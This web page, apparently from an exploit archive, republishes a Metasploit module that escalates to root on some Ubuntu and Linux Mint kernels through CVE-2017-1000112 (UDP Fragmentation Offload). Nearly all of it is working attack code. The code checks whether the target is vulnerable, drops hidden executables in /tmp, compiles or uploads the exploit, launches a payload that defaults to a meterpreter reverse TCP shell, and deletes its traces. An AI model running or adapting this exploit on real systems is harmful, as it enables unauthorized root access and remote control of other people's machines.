Menu

Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation

August 12, 2018 - CVE, CWE, Exploits

2018.08.03
Credit: h00die
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2017-1000112
CWE: CWE-264
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on Linux systems by abusing
        UDP Fragmentation Offload (UFO).

        This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
        4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros
        based on Ubuntu, such as Linux Mint.

        The target system must have unprivileged user namespaces enabled
        and SMAP disabled.

        Bypasses for SMEP and KASLR are included. Failed exploitation
        may crash the kernel.

        This module has been tested successfully on various Ubuntu and Linux
        Mint systems, including:

        Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop;
        Ubuntu 16.04 4.8.0-53-generic;
        Linux Mint 17.3 4.4.0-89-generic;
        Linux Mint 18 4.8.0-58-generic
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrey Konovalov', # Discovery and C exploit
          'h00die',           # Metasploit module
          'Brendan Coles'     # Metasploit module
        ],
      'DisclosureDate' => 'Aug 10 2017',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'Privileged'     => true,
      'References'     =>
        [
          [ 'CVE', '2017-1000112' ],
          [ 'EDB', '43418' ],
          [ 'BID', '100262' ],
          [ 'URL', 'http://seclists.org/oss-sec/2017/q3/277' ],
          [ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c' ],
          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa' ],
          [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112' ],
          [ 'URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/' ],
          [ 'URL', 'https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html' ],
          [ 'URL', 'https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112' ]
        ],
      'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
      'DefaultTarget'  => 0))
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
  end

  def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end
    output = cmd_exec gcc_cmd
    rm_f "#{path}.c"

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    cmd_exec "chmod +x #{path}"
  end

  def exploit_data(file)
    path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-1000112', file
    fd = ::File.open path, 'rb'
    data = fd.read fd.stat.size
    fd.close
    data
  end

  def live_compile?
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

    if has_gcc?
      vprint_good 'gcc is installed'
      return true
    end

    unless datastore['COMPILE'].eql? 'Auto'
      fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
    end
  end

  def check
    version = kernel_release
    unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|45|47|51|53|57|59|62|63|64|66|67|70|71|72|75|78|79|81|83|87|89|81|89)-generic/ ||
           version =~ /^4\.8\.0-(34|36|39|41|45|46|49|51|52|53|54|56|58)-generic/
      vprint_error "Linux kernel version #{version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Linux kernel version #{version} is vulnerable"

    vprint_status 'Checking if SMAP is enabled ...'
    if smap_enabled?
      vprint_error 'SMAP is enabled'
      return CheckCode::Safe
    end
    vprint_good 'SMAP is not enabled'

    arch = kernel_hardware
    unless arch.include? 'x86_64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"

    unless userns_enabled?
      vprint_error 'Unprivileged user namespaces are not permitted'
      return CheckCode::Safe
    end
    vprint_good 'Unprivileged user namespaces are permitted'

    CheckCode::Appears
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload exploit executable
    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile executable_path, exploit_data('exploit.c')
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx executable_path, exploit_data('exploit.out')
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status 'Launching exploit ...'
    output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}"
    output.each_line { |line| vprint_status line.chomp }
    print_status "Cleaning up #{payload_path} and #{executable_path} ..."
    rm_f executable_path
    rm_f payload_path
  end
end

Leave a Reply

Your email address will not be published. Required fields are marked *